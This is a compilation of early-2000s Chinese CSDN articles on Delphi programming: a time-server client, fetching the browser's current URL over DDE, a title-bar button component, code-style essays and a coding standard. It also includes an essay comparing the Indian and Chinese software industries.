用delphi6（cbuilder)+jbuilder4+inprise application server(visibroker)作corba应用,可以说是一个完美的解决方安。真正实现了跨平台，跨语言的分布式开发。

还有一点,delphi,kylix支持开发人员自己写apache模块，这一点更是使开发人员如虎添翼。
从这个观点看来，现在borland的ceo很有战略眼光，相信borland 的明天会更好。


CSDN_文档中心_从Internet时间服务器获取标准格林尼治时间

从Internet时间服务器获取标准格林尼治时间

由于本机系统时间不准确，所以决定从Internet 时间服务器获取标准时间来校正 系统时间，说干就干。

程序设计步骤如下：

1、 新建一个工程；

2、 在窗体上放一个TEdit控件和一个TClientSocket（在Internet页下）控件。TEdit用来显示取得的格林尼治时间转化成北京时间后的时间，TClientSocket用来从Internet 时间服务器获取标准的格林尼治时间；

3、 程序代码如下：

procedure TForm1.FormCreate(Sender: TObject);

begin

ClientSocket1.Host :='tick.usno.navy.mil'; // 美国海军天文台；

ClientSocket1.Port :=13;

ClientSocket1.Open;

end;

procedure TForm1.ClientSocket1Read(Sender: TObject;

Socket: TCustomWinSocket);

var

TempTime: TDateTime;

hh,mm,ss,ms: word;

sTime : string;

begin

sTime := Socket.ReceiveText; // 取得格林尼治时间；

sTime:=Copy(sTime,12,8); // 取得时间部分；

DecodeTime(StrToTime(sTime),hh,mm,ss,ms);

hh:=(hh+8) mod 24; // 转化成北京时间；

TempTime:=EncodeTime(hh,mm,ss,ms);

Edit1.Text :=TimeToStr(TempTime);

end;

4、 编译运行，稍微等几秒钟（和你的网络速度有关，笔者等了大概一秒钟），TEdit控件就显示出了由格林尼治时间转化得到的北京时间。

怎么样？很简单吧。赶快试一下吧！需要说明一点：由于网络延时的缘故，这

个程序得到的时间会和标准时间有几秒的误差，但除非你用来控制火箭的发射，否

则，这无妨大碍。

笔者是从美国海军天文台得到标准时间，你还可以从别的时间服务器上获间，但由于每个时间服务器的时间格式不同，所以在编写程序时要注意作相应的处理。

域名 组织

Clock.sgi.com SGI

Tick.mit.edu 麻省理工学院

Time.nist.gov NIST


CSDN_文档中心_从当前的浏览器取得当前URL

确定在uses子句中增加DDEMan。

uses windows, ddeman, ......

function Get_URL(Servicio: string): String;
var
Cliente_DDE: TDDEClientConv;
temp:PChar; file://<<----------------这是新的
begin
Result := '';
Cliente_DDE:= TDDEClientConv.Create( nil );
with Cliente_DDE do
begin
SetLink( Servicio,'WWW_GetWindowInfo');
temp := RequestData('0xFFFFFFFF');
Result := StrPas(temp);
StrDispose(temp); file://避免内存漏洞
CloseLink;
end;
Cliente_DDE.Free;
end;

procedure TForm1.Button1Click(Sender);
begin
showmessage(Get_URL('Netscape'));
or
showmessage(Get_URL('IExplore'));
end;


CSDN_文档中心_从另一个考虑来看代码的风格

从另一个考虑来看代码的风格

相信大家对代码的风格都有自己的观点，都有自己的风格。但大家心目中最完美的一定是简洁，易读，高效率的。

但有时效率和简洁性、可读性是不可兼顾的。这就要看开发的目的是什么了。对时间要求不高的当然要注重简洁和可读性，而另一些要求速度快，或体积小的程序则可能更强调效率。

我想现今随着计算机存储器的飞速发展程序的体积越来越显得不重要了。记得当年我在大一时所用的计算机只有512KB内存那时写程序优势是要注重空间效率的，磁盘也很小，还是在一个工具下才实现800KB的空间，在我心里不知感谢过多少回那个共软件的作者，有时候为了节省内存不得不把一些东西搬运到磁盘上，等到使用时再装进内存。打伞使用的计算机是4MB内存的，第一次使用保护模式时，开辟了一块2MB的内存空间，我真是激动的老泪横流,而现今128MB内存满天飞。256MB也很多。我的一个朋友配了768MB内存还说要再添。感觉硬盘容量也飞速增长。30、40G的随处可见。刻录光盘6、7百MB的空间也够折腾得了。所以今天代码的空间效率日渐不很重要了。

而处理器的发展给我们带入了GHz时代，使我们有了全新的感受。另一方面处理器的发展已远远超出了软件的发展速度。时间效率也显得不是很重要了，当然不向空间效率重要性下降的那么明显(在有些时候时间效率还是很重要的，如多媒体，图像处理等等)。

现如今软件的复杂性使得软件通常都由多人开发才能完成。而多人开发的配合问题就摆在了我们的面前。说白了多人开发的配合问题主要就是代码的可读性问题。例如以下两段代码：

1)

var

r:integer;

begin

r:=(strtoint(edit1.text)+strtoint(edit2.text))*strtoint(edit3.text);

end;

2)

var

r,a1,a2,a3:integer;

begin

a1:=strtoint(edit1.text);

a2:=strtoint(edit2.text);

a3:=strtoint(edit3.text);

r:=(a1+a2)*a3;

end;

那个更容易理解呢？更直白呢？

当然是第二个。

再例如

1)

dim a1 as long

a1=text1.text

dim a2 as long

a2=text2.text

dim a3 as long

a3=text3.text

dim r as long

r=(a1+a2)*a3

2）

dim r as long, a1 as long, a2 as long, a3 as long

a1=text1.text

a2=text2.text

a3=text3.text

r=(a1+a2)*a3

那个更好呢？

之所以说Pascal语言很美就是体现在你必须按照比较规范的方式来写代码。在哪里声明，哪里定义函数，过程都要按部就班的来。不是说其他语言办不到，而是其他语言要求松一些罢了。

代码的得风格中可读性是十分重要的，不要自己耍小聪明。玩弄了一些花招技巧这是软件开发的大忌。记得当时在大学时代有的同学用TC写程序时往往是过了半年连自己都看不懂了，还要问别人。所以我们在写代码时除非是有特殊要求否则要尽量按照这个顺序来约束自己的代码，可读性、时间效率、空间效率。

以上仅是个人观点，望各位都能指点一二。共同为我们心中完美的代码风格而努力。


CSDN_文档中心_从实作标题栏按钮开始浅谈组件的制作

开发组件的过程，其实就是从某一对象派生出一个新的对象，并且为该对象声明新的属性、方法和事件。下面我将通过制作一个标题栏按钮来讲述如何制作组件。

标题栏按钮组件TTitleBarButton以TComponent为直接继承对象，它是一个可以在窗体标题栏上显示按钮的组件，像最大化、最小化和关闭按钮等。最新的Winamp MP3播放器，它有一个插件可以在任何窗体上显示一排播放按钮，我想通过下面的技术也可以实现。

1、首性确定组件的属性。属性是组件的重要组成部分，它相当于组件的门面，因为一旦一个组件被置于窗体中时，用户必然想到去设置组件的各种属性，编写各种事件的处理过程。TTitleBarButton有以下属性：

Color：用来决定按钮表面的颜色。

Glyph：用来决定按钮表面的图片。

PopupMenu：用来决定右键单击按钮时的弹出菜单。

RightMargin：用来确定按钮的位置，以窗体右边界为基准。

Visible：用来决定按钮是否可见。

2、确定组件的方法。方法是组件的基本构成部分之一，在编写方法时，尽量减少方法间的依赖关系，并确定方法的可见度，以及是否为虚函数等。在本例中，主要方法如下：

function GetBoundsRect: TRect; 用来确定按钮的边界矩形，可见度为private

procedure NewWndProc(var message: TMessage); 窗体的新的窗口过程，private

procedure Paint; virtual; 该类的继承者可以override该方法，但用户不能直接调该方法

procedure Repaint; 是Paint方法的对外接口，用户可以调用此方法，以强制重新画按钮

3、确定组件的事件。事件实际上是一种特殊的属性，它也是组件的很重要组成部分，事件为组件响应系统发生的行为而执行的一段代码连接。事件就是方法指针，是方法的触发器。TtitleBarButton只有一个事件：

OnClick事件，用来响应用户的Click事件代码。

另外，要减少组件的依赖关系。使一个组件在执行其代码时所受的约束尽可能地少，这是开发组件的一个主要目标，它也是衡量一个组件性能好坏的重要标准之一。

实现标题栏按钮需要解决以下主要问题：

1、 如何确定按钮的边界，即Left，Top，Width，Height

通过GetWindowRect来取得窗体的边界矩形，通过GetSystemMetrics取得窗体的框架宽度和标题栏按钮的高度、宽度。再加上RightMargin属性就可以基本上确定按钮的边界了。

2、 如何画按钮的外观（包括按下和凸起）

通过GetWindowDC来取得窗体DC（包括标题栏、菜单、滚动条等），我们就可以在这个DC上画按钮了。

3、 如何让按钮响应消息（比如Click，单击右键弹出菜单等）

我们可以通过GetWindowLong取得窗体的窗口过程，然后把我们新定义的窗口过程通过SetWindowLong给这个窗体，然后我们在自己的窗口过程中来让按钮响应消息。

全部代码如下：

unit TitleBarButton;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Menus, Dialogs;

type

TTitleBarButton = class(TComponent)

private

FColor: TColor;

FGlyph: TBitmap;

FForm: TCustomForm;

FOldWndProc: Pointer;

FButtonDown: Boolean;

FVisible: Boolean;

FRightMargin: Cardinal;

FPopup: TPopupMenu;

FOnClick: TNotifyEvent;

procedure SetGlyph(const Value: TBitmap);

procedure SetVisible(const Value: Boolean);

procedure SetRightMargin(const Value: Cardinal);

function GetBoundsRect: TRect;

procedure NewWndProc(var message: TMessage);

protected

procedure Notification(Component: TComponent;Operation: TOperation); override;

procedure Paint; virtual;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

procedure Repaint;

property BoundsRect: TRect read GetBoundsRect;

published

property Color: TColor read FColor write FColor default clBtnFace;

property Glyph: TBitmap read FGlyph write SetGlyph;

property PopupMenu: TPopupMenu read FPopup write FPopup;

property RightMargin: Cardinal read FRightMargin write SetRightMargin default 66;

property Visible: Boolean read FVisible write SetVisible default False;

property OnClick: TNotifyEvent read FOnClick write FOnClick;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Liao', [TTitleBarButton]);

end;

{ TTitleBarButton }

constructor TTitleBarButton.Create(AOwner: TComponent);

var

ptr: Pointer;

begin

inherited;

FForm := GetParentForm(TControl(AOwner));

FGlyph := TBitmap.Create;

FColor := clBtnFace;

FVisible := False;

FRightMargin := 66;

FButtonDown := False;

FOldWndProc := Pointer(GetWindowLong(FForm.Handle,GWL_WNDPROC));

ptr := MakeObjectInstance(NewWndProc);

SetWindowLong(FForm.Handle, GWL_WNDPROC, Longint(ptr));

end;

destructor TTitleBarButton.Destroy;

begin

if not (csDestroying in FForm.ComponentState) then

begin

SetVisible(false);

SetWindowLong(FForm.Handle, GWL_WNDPROC, LongInt(FOldWndProc));

end;

FGlyph.Free;

inherited;

end;

procedure TTitleBarButton.NewWndProc(var message: TMessage);

function HitButton(APoint: TPoint): Boolean;

begin

APoint.x := APoint.x - FForm.Left;

APoint.y := APoint.y - FForm.Top;

Result := PtInRect(BoundsRect,APoint);

end;

var

p: TPoint;

begin

with message do

begin

if Visible then

begin

case Msg of

WM_NCPAINT , WM_NCACTIVATE :

begin

Result := CallWindowProc(FOldWndProc,FForm.Handle,Msg,WParam,LParam);

RePaint;

end;

WM_NCHITTEST :

begin

Result := CallWindowProc(FOldWndProc,FForm.Handle,Msg,WParam,LParam);

if Result = HTCAPTION then

begin

RePaint;

p.x := LoWord(LParam);

ScreenToClient(FForm.Handle,p);

with BoundsRect do //减去框架宽度

if (p.x >= Left-4) and (p.x <= Right-4) then Result := 888;

end;

end;

WM_NCLBUTTONDOWN,WM_NCLBUTTONDBLCLK:

begin

Result := CallWindowProc(FOldWndProc,FForm.Handle,Msg,WParam,LParam);

with TWMNCLButtonDown(message) do

if not HitButton(Point(XCursor, YCursor)) then Exit;

if WParam = 888 then

begin

FButtonDown := True;

Repaint;

SetCapture(FForm.Handle);

end;

end;

WM_NCRBUTTONDOWN,WM_NCRBUTTONDBLCLK:

begin

if WParam = 888 then

begin

if Assigned(FPopup) then

begin

p.x := FForm.Left + BoundsRect.Left;

p.y := FForm.Top + BoundsRect.Bottom;

FPopup.Popup(p.x,p.y);

end;

end

else

Result:=CallWindowProc(FOldWndProc,FForm.Handle,Msg,WParam,LParam);

end;

WM_NCLBUTTONUP,WM_LBUTTONUP :

begin

if FButtonDown then

begin

FButtonDown := False;

RePaint;

ReleaseCapture;

if Assigned(FOnClick) then FOnClick(self);

end

else

Result:=CallWindowProc(FOldWndProc,FForm.Handle,Msg,WParam,LParam);

end;

else

Result := CallWindowProc(FOldWndProc,FForm.Handle,Msg,WParam,LParam);

end;

end

else

Result := CallWindowProc(FOldWndProc,FForm.Handle,Msg,WParam,LParam);

end;

end;

procedure TTitleBarButton.SetGlyph(const Value: TBitmap);

begin

FGlyph.Assign(Value);

SendMessage(FForm.Handle,WM_NCACTIVATE,0,0);

end;

procedure TTitleBarButton.SetRightMargin(const Value: Cardinal);

begin

FRightMargin := Value;

SendMessage(FForm.Handle,WM_NCACTIVATE,0,0);

end;

procedure TTitleBarButton.SetVisible(const Value: Boolean);

begin

FVisible := Value;

SendMessage(FForm.Handle,WM_NCACTIVATE,0,0);

end;

procedure TTitleBarButton.Notification(Component: TComponent;

Operation: TOperation);

begin

inherited;

if (Operation = opRemove) and (Component = FPopup) then

FPopup := nil;

end;

function TTitleBarButton.GetBoundsRect: TRect;

var

Rec: TRect;

FrameThick: Integer; //窗体框架厚度

BtnWidth,BtnHeight: Integer; //标题栏按钮的宽度和高度

begin

GetWindowRect(FForm.Handle,Rec); //得到窗体边界矩形，相对于屏幕左上角

with Result do

begin

FrameThick := GetSystemMetrics(SM_CYFRAME);

Left := (Rec.Right - Rec.Left) - RightMargin - FrameThick;

Top := FrameThick;

if FForm.Borderstyle in [bsSizeToolWin, bsSizeable] then

begin

Dec(Left, 2); Inc(Top, 2);

end

else begin

Dec(Left); Inc(Top);

end;

if (FForm.Borderstyle in [bsSizeToolWin,bsToolWindow]) then

begin

BtnWidth := GetSystemMetrics(SM_CXSMSIZE) - 2;

BtnHeight := GetSystemMetrics(SM_CYSMSIZE) - 4;

end

else begin

BtnWidth := GetSystemMetrics(SM_CXSIZE) - 2;

BtnHeight := GetSystemMetrics(SM_CYSIZE) - 4;

end;

Right := Left + BtnWidth;

Bottom := Top + BtnHeight;

end;

end;

procedure TTitleBarButton.Paint;

var

GlyphRect: TRect;

begin

if not FVisible then Exit;

with TCanvas.Create do

begin

try

Handle := GetWindowDC(FForm.Handle); //得到窗体DC，包括标题栏、菜单、滚动条等

Brush.Color := FColor; //画Button凸起和按下时的外观

if FButtonDown then

Pen.Color := clBtnHighlight

else

Pen.Color := cl3DDkShadow;

Rectangle(BoundsRect);

with BoundsRect do

begin

if FButtonDown then

Pen.Color := cl3DDkShadow

else

Pen.Color := clBtnHighLight;

MoveTo(Left,Bottom-2);

LineTo(Left,Top);

LineTo(Right-1,Top);

Pen.Color := clGray;

if FButtonDown then

begin

MoveTo(Left+1,Bottom-3);

LineTo(Left+1,Top+1);

LineTo(Right-2,Top+1);

end

else begin

MoveTo(Left+1,Bottom-2);

LineTo(Right-2,Bottom-2);

LineTo(Right-2,Top);

end;

end;

if Assigned(Glyph) then //如果关联了图片，则画图片

begin

GlyphRect := BoundsRect;

GlyphRect.Right := GlyphRect.Right - 7;

GlyphRect.Bottom := GlyphRect.Bottom - 5;

if FButtonDown then

OffsetRect(GlyphRect,4,3)

else

OffsetRect(GlyphRect,3,2);

with GlyphRect do

StretchBlt(Handle, Left, Top, Right-Left, Bottom-Top,

FGlyph.Canvas.Handle, 0, 0, FGlyph.Width, FGlyph.Height, srcCopy);

end;

finally

ReleaseDC(FForm.Handle,Handle);

Free;

end;

end;

end;

procedure TTitleBarButton.Repaint;

begin

Paint;

end;

end.

另外，还可以对这个组件进一步扩展，扩展其它任一窗体，只要知道了窗体的Handle就行了。


CSDN_文档中心_从印度软件产业看中国软件产业现状

摘 要：中国和印度同属发展中国家，但是印度在软件产业上已经超过我国很大一段距离。印度主要利用了巨大的海外市场和本国大量的计算机人才，使自己的软件大规模外销，成为目前除美国以外第二大软件出口国。我国和印度在许多地方存在相同之处，为什么我国软件产业会落后那么远?本文较为详细地分析了中国与印度的软件产业状况，并初步探讨了我国软件产业存在的问题。

    作为高新技术产业的支柱之一，信息产业对于全球各国而言，是蒸蒸日上的朝阳行业。在信息产业领域，软件产业又是最为抢眼的一大热点，近年来也备受关注。

    无可否认，我国软件产业从80年代起步以来发展迅速，始终以30％以上的年平均增长速度递增。至1997年我国软件市场规模已达到112亿多元，比1990年增长了50多倍。目前全国软件产业总额约为176亿元。但放眼世界大环境，尚不到全球份额的1％。

    中国和印度同属发展中国家，两国实际情况有许多相同之处。但中国软件产业规模小、市场占有率低、相对比较落后和印度软件产业跻身世界前列也都是不争的事实。中国软件产业和印度软件产业有哪些异同，究竟是什么原因在阻碍中国软件产业的发展?

    一、印度软件产业现状

    印度的软件，具有质量可靠、价格低廉、时效性强、售后服务好的特点，因此赢得了国际市场的普遍欢迎，目前已经销往75个国家，其中美国的需求量最大，日、英、德等国也不同程度地依靠进口印度的软件，包括中国在内的一些发展中国家，也正在购买印度的软件。

    软件产业作为印度的无烟支柱产业，大量出口的软件给印度的信息产业带来了丰厚的利润。在美国《财富杂志》评选出的全球500家大公司中，已有185家把软件开发的业务交给印度的软件公司去做并且绝对采用他们的产品。在印度软件公司中，已有170家公司获得ISO9000质量标准认可；在得到卡内基-梅隆大学软件工程研究所(CMN／SE)软件能力成熟度模型(CMM)认可最高级别CMM5级的全球72家计算机软件公司中，有45家是印度公司；全球48家通过了CMM4级评估的企业，其中印度有9家，由此可见印度软件业的实力(如表1所示)。

    表1 印度软件出口额及其增长情况表

年度 出口额(百万美元) 增长率(X)
1990-1991 140
1991—1992 206 47．1
1992—1993 260 26．2
1993—1994 329 26．5
1994—1995 475 44．3
1995—1996 791 66．5
1996—1997 1159 46．5
1997—1998 1813 56．4
1998—1999 4050 123．4
1999-2000 6300 55．6

    印度软件产业的迅速发展得益于国际社会对软件的需求不断扩大。据统计，目前国际软件市场的交易量超过4000亿美元，印度的软件出口在80年代中期时只有3000万美元，而近年来出口额不断攀升。美国一家科技咨询公司指出，印度IT业的产值在2004年将达到250亿美元。一组来至CCID的历年来印度软件出口额(包括服务)及其增长情况的数据值得我们深思。见表1。

    印度大约有1000家软件企业，从业人数约为 34万人，软件公司平均人员规模340人。其中又以大公司居多，有一批超过1000名以上的大型公司，年人均软件产值达1.6万美元。

    二、中国软件产业的现状与问题

    (一)中国软件产业发展的现状

    中国的软件产业经过多年的发展，连续保持了比较高的发展速度，但是总体水平仍处于初级发展阶段：产业规模偏小，创新能力较弱，技术含量高的上游产品少，市场占有率低，软件企业规模较小，单兵作战而使抗风险能力差。从表2中CCID的数据可以看出我国和印度的差距。

    表2 中国软件产业发展情况表

年度 销售额(亿元RMB) 增长率(%)
1990 2．2
1991 4．6 109．1
1992 20 334．8
1993 40 100．0
1994 49 22．5
1995 68 38．8
1996 92 35．3
1997 112 21．7
1998 138 23．2
1999 176 27．5
2000 235 33．5

    中国目前的软件企业大约2 000家，从业人员有15万人，软件公司平均规模为75人，年人均软件产值为1．4万美元。

    (二)中国现阶段软件产业存在的问题

    1．高级人才相对缺乏、人才流失较为严重是我国目前软件产业的一个特点。中国在计算机行业的人才培养上具有一定的优势，但是真正的高级人才的质量和数量同印度存在一段差距，而且在人才使用上缺乏人尽其才的政策和环境，加上待遇上的差距，致使许多软件开发人员外流。

    2．软件产业的发展过程是开发、推广到应用的过程。中国大多数软件企业能开发出自己的软件，但软件工程化、标准化、商品化程度较低，这是制约软件推广应用、引起瓶颈的重要因素，同时也不利于对软件知识产权的保护。

    3．目前我国软件企业规模过小、分散、缺乏市场竞争力的状况，使其抗风险的能力大大减弱。

    4．我国软件企业吸引资金的能力比较差，特别是对外资的吸引。

    三、中、印两国软件行业中诸因素比较

    (一)计算机基础人才培养状况比较

    印度前总理拉吉夫·甘地十分重视计算机教育，亲自过问中小学的计算机启蒙教育，规定计算机教育要从小抓起。在拉吉夫·甘地的大力推动下，印度加强了高等院校的计算机科系和专业对学生进行比较正规的计算机系统教育，保证毕业生的质量达到世界一流理工学院和法国巴黎综合技术大学毕业生的水平。

    早在80年代初，邓小平同志就明确提出：“计算机要从娃娃抓起”。但是中国中小学的计算机教育并没有真正落到实处，至今仍然没有多大的进展。

    中国和印度同属文明古国，且理工科的教育水平都处于世界水平。但是根据印度软件服务公司协会对印度软件人才市场供需情况的调查，截止2000年3月31日，印度软件业共有专业技术人员34万人。而1996—1997年度，印度软件业只有专业技术人员16万人，三年增加了18万人。印度理工学院可以和麻省理工学院媲美。我们为什么在软件产业上落后印度那么远?计算机教育是第一步差距。

    (二)中、印两国程序员现状比较

    当代印度人对于数字有一种天生的感情，这一方面源于其历史传统，另一方面可以归功于印度中小学教育中对数学功底的强调。

    印度社会组织凝聚性较差，这和印度多民族、多风俗和多宗教信仰有关。印度人一般喜欢自由的生活、思考，而且在行动上也不喜欢受到任何条条框框的约束。这种自由不羁的性格特点，有时甚至影响印度程序员对必要的纪律和规则的遵守。而在中国，程序员受条条框框的约束较多，这对于必要纪律和规则的遵守是有利的，但是同时也相对制约了创造力的发挥。所以中国的大部分程序员习惯于旧有模式的重复劳动，利用大量的人力物力进行了低层次的重复运作。

    印度软件公司的程序员流动率，包括项目间流动率高达30％，但是他们的产品却不依赖于任何一个人。中国程序员流动比率十分低，且技术主子一动，项目可能马上搁浅。如果程序员“跳槽”，还会担心泄露商业秘密。

    所以，软件公司的决策者，对程序员的管理与再培养是关系中国软件产业发展的迫在眉睫的关键问题。

(三)政策扶持和政策导向因素

    1984年，把电子工业视为“国家的神经”的印度前总理拉吉夫·甘地，提出了“用电子革命把印度带入21世纪”的口号。1986年12月印度出台了《计算机软件出口、开发和培训政策》，这是印度计算机产业发展的一个重要里程碑。

    1990年辛格上台后，提出了促进软件产业发展的新政策。为了鼓励出口，辛格政府主张采取下面三项措施：对100％出口的软件企业，免除从利润中提取所得税；对于实际出口量3倍于国外定货任务的软件企业的进口关税从65％减至25％；免除进口软件的双重税收等。尽管该项政策提出仅两个月辛格政府就下了台，但继任的谢卡尔政府在内外交困的情况下还是促成议会通过了该议案。

    1998年5月22日，印度政府决定组建国家信息技术和软件开发特别工作组，该工作组在不到一个月的时间内就向总理提交了名为“信息技术行动计划”的报告。该报告提出：政府要创造政策环境，使印度软件出口(包括服务)到2008年达到500亿美元的目标，成为世界上最大的软件生产和出口大国之一。

    目前，由于拥有雄厚的工业基础和巨额的资金投入，发达国家在硬件方面的优势已经形成。而软件行业以脑力作为基础，对投入的资金和器件的生产能力较之硬件生产要求不高，这才使得工业及经济基础相对薄弱的发展中国家有可能在较短的时间内形成跳跃式的飞速发展，从而在全球的高科技竞争舞台上占有一席之地。

    软件产业和集成电路产业作为信息产业的核心和国民经济信息化的基础，近年来倍受各国的重视。 2000年6月24日，国务院以国发[2000]18号文件发布了《鼓励软件产业和集成电路产业发展的若干政策》，提出“加强软件产业和集成电路产业的发展是一项紧迫而长期的任务，意义十分重大”。这是国务院并不多的针对某一行业发布的鼓励政策，表明国家对软件产业和集成电路产业的高度重视，具有里程碑意义；同年年底，《软件企业资格认定及管理办法》也正式出台；在《中国科技发展“十五”计划和2015年电子信息产业及软件产业战略规划》中，也将软件产业的兴衰提高到国家发展战略的高度来叙述。这些政策和规划的制定表明我国对高新技术采取的扶持政策已经全面启动，积极引导高新技术的发展。

    四、对目前中国软件产业的一些思考

    管理学中有称之为“鲶鱼效应”和“青蛙效应”的两个故事，可以形象地说明目前中国的软件产业面临的危机。作为目前软件开发公司的成员，大多数是由于兴趣所致才投身软件开发行业，多数不是精明的商人，对于市场需求，他们不能提出自信的说法。既然不知道需求，也就无法提供符合需求的产品或服务。

    中国软件行业现在已经没有安逸的环境了，再不在市场中翻滚，就要变成缺氧死亡的沙丁鱼或者“安乐死”的青蛙。在逐步加强自身抗风险能力的同时，引入竞争机制，在一定时候还要鼓励“大鱼吃小鱼”的情况发生。我们此时面对的不只是国内众多小软件公司相互竞争，还要面对国外大软件公司的强大压力；我们不仅要坚决治理国内盗版市场，还要努力规范正版软件的价格竞争方式；我们不仅要加强国内软件行业软件的开发力度，还要引进国外的软件开发项目；我们在努力培养自己高级计算机人才的同时，也可以直接从国外吸引人才。

    印度软件产业为我们提供了一个很好的例子，我们应该正视我们自身的问题，努力在最短的时间内解决存在的问题，以适应日益激烈的国际竞争局面。


CSDN_文档中心_代码创建形式规范 1.0 (for Delphi)

代码创建形式规范 1.0 (for Delphi)
Bear, 2000-5-1

本规范的目的：给自己的代码一个统一而标准的外观，增强可读性，可理解性，可维护性
本规范的原则：名称反映含义,形式反映结构

1、单元风格
2、各区风格
3、语句风格
4、命名规则

参考：Borland官方Object Pascal风格指南
Delphi5程序员指南编码标准

1、单元风格

{*******************************************************}
{ }
{ 项目名称 }
{ }
{ 版权所有 (C) 2000,2001 公司名称 }
{ }
{*******************************************************}

unit UnitName;
{*******************************************************
项目:
模块:
描述:
版本:
日期:
作者:
更新:
TODO:
*******************************************************}

interface

uses
----,----,----,----,----,----,----,----,----,----,----,
----,----, ----,----,----,----;

const
--------------------;
--------------------;
--------------------;

type
--------------------;
--------------------;
--------------------;
--------------------;
--------------------;
--------------------;

var
--------------------;
--------------------;
--------------------;

implementation

uses
----,----,----,----;

{$R *.RES}
{$R *.DFM}

--------------------------------;
--------------------------------;
--------------------------------;
--------------------------------;
--------------------------------;
--------------------------------;
--------------------------------;
--------------------------------;
--------------------------------;
--------------------------------;
--------------------------------;
--------------------------------;

end.

返回

2、各区风格

0、注释与空白

用{ } 不用 //
主题注释，函数过程目的说明，语句注释
空行 ：版权块，类之间，方法之间--（两行） 方法内部块（一行）
空格 ：用以增强清晰度
缩进 ：两个空格

1、常量区

基本：

Const
----- = ----;
----- = ----;
----- = ----;
----- = ----;

扩展
前缀： 少则C_---；多则可以每个主题有一个前缀
Const

{ 主题1 }
C_--- = ----; { 含义 }
C_--- = ----; { 含义 }
C_--- = ----; { 含义 }
C_--- = ----; { 含义 }
{ 主题2 }
----- = ----;
----- = ----;
----- = ----;
----- = ----;

资源字符串,放在变量区后面

resourcestring

const
S_--- = '----';
S_--- = '----';
S_--- = '----';

例子：

CM_BASE = $B000;
CM_ACTIVATE = CM_BASE + 0;
CM_DEACTIVATE = CM_BASE + 1;
CM_GOTFOCUS = CM_BASE + 2;
CM_LOSTFOCUS = CM_BASE + 3;
NumPaletteEntries = 20;
BoxPoints : array[0..5, 0..2] of GLfloat =
( (-1, 0, 0),
( 0, 1, 0),
( 1, 0, 0),
( 0, -1, 0),
( 0, 0, 1),
( 0, 0, -1) );

{ Variant type codes (wtypes.h) }

varEmpty = $0000; { vt_empty }
varNull = $0001; { vt_null }
varSmallint = $0002; { vt_i2 }
GIFVersions : array[gv87a..gv89a] of TGIFVersionRec = ('87a', '89a');

2、类型区

数据类型-->不提供服务的数据类型
T---- = ---------
对象类型-->有状态并提供服务的实体
T---- = class(----)
private
--------
--------
protected
--------
--------
public
 --------
 --------
published
--------
--------
end;

按字母排序

Private
1、所有数据放在Private 区，以F打头
2、所有事件属性对应的方法指针放在Private 区，以F打头
3、属性的Get与Set方法放在Private 区-->不准备被继承
4、响应消息的方法放在Private 区
protected
1、被子类调用的但不能被外界调用的方法与属性
2、供子类重载的方法 virsual; virsual; abstract
public
1、构建析构方法
2、供外界调用的方法
3、供外界调用的属性
published
1、出现在Object Inspector里供设计时用的属性
2、出现在Object Inspector里供设计时用的事件响应

例子：

TGIFVersion = (gvUnknown, gv87a, gv89a);
TGIFVersionRec = array[0..2] of char;
PInterfaceTable = ^TInterfaceTable;
TInterfaceTable = packed record
EntryCount: Integer;
Entries: array[0..9999] of TInterfaceEntry;

{ forword declairation }
TGIFImage = class;
TGIFSubImage = class;
{---------------------------
TGIFItem
---------------------------}
TGIFItem = class(TPersistent)
private
FGIFImage: TGIFImage;
.............
end;

3、变量区

定义全局变量
注意不要有缺省的类对象变量，在调用者中声明！
var
-----------: -------;
-----------: -------;
例子：
GIFDelayExp: integer = 10; { Delay multiplier in mS.}
GIFDelayExp: integer = 12;

4、实现区

{---------------------------------------------------------
主题
----------------------------------------------------------}

{ 方法的目的 }
procedure ----------------------------
begin
--------;
--------;
end;

{ 方法的目的 }
function -----------------------------
begin
--------;
--------;
end;

5、过程与函数

命名
格式

返回

3、语句风格

1、简单语句
-------;
2、复合语句
begin
-----;
-----;
end;

3、赋值语句
-- ：= -------；
-- ：= （-- + --）* （-- / --）；

4、局部变量
var
---: ---;
---: ---;
对于逻辑上并列的变量组：
var
---，
---，
---: ---;

5、数组声明
--- = array [*..*] of ---;

6、if 语句
if (--------) then
-------------;

if (--------) then
begin
-------------;
-------------;
-------------;
end;

if (--------) then
-------------;
else
-------------;

if (--------) then
begin
-------------;
-------------;
-------------;
end else
-------------;

if (--------) then
begin
-------------;
-------------;
-------------;
end else
begin
-------------;
-------------;
-------------;
end;

if (--------) then
-------------
else if (--------) then
-------------;

7、for 循环

for I := -------- to -------- do
-------------;

for I := -------- to -------- do
begin
-------------;
-------------;
-------------;
end;

for I := -------- to -------- do
if (--------) then
begin
-------------;
 -------------;
 -------------;
 end;

for I := -------- to -------- do
with -------- then
begin
-------------;
-------------;
-------------;
end;

8、while 循环

while ------ do
begin
-------------;
-------------;
-------------;
end;

9、repeat 循环
repeat
-------------;
-------------;
-------------;
until ------;

10、case 语句

case -------- of
 -------- : -------------;
 -------- : -------------;
 -------- : -------------;
else -------------;
end;

case -------- of
 -------- :
 -----------------------------------------------------------------;
 -------- :
-----------------------------------------------------------------;
 -------- :
 -----------------------------------------------------------------;
else
 -----------------------------------------------------------------;
end;

case -------- of
-------- : begin
--------------------------;
 --------------------------;
--------------------------;
 end;
 -------- : begin
 --------------------------;
--------------------------;
 --------------------------;
end;
 -------- : begin
 --------------------------;
--------------------------;
 --------------------------;
end
 else begin
-------------;
-------------;
 -------------;
 end;

end;

11、with 语句

with -------- do
-------------;

with -------- do
begin
-------------;
-------------;
-------------;
end;

12、try 语句

try
-------------;
-------------;
-------------;
finally
-------------;
-------------;
-------------;
end;

try
try
-------------;
-------------;
-------------;
except
-------------;
-------------;
end;
finally
-------------;
-------------;
-------------;
end;

13、其它

运算:运算符前后要有空格
w1[n] := ((i + 1) * v0[n] + j * v1[n] + (k - 1) * v2[n]) / depth;

-- = --
-- >= --
-- <= --
-- > --
-- < --
-- <> --
-- := --; 赋值
--: ----; 类型

同一类型且含义逻辑上不并列的变量 20个字符长的变量名
private
------- : -------;
------- : -------;
------- : -------;
------- : -------;
------- : -------;
var
------- : -------;
------- : -------;
------- : -------;
------- : -------;
------- : -------;
function ---------------------(--: ----; --: ----; --: ----): ----;

同一类型且含义逻辑上并列的变量 如 Error0,Error1,Error2 ; R,G,B
private
------- ,
------- ,
------- ,
------- ,
------- : -------
var
------- ,
------- ,
------- ,
------- ,
------- : -------
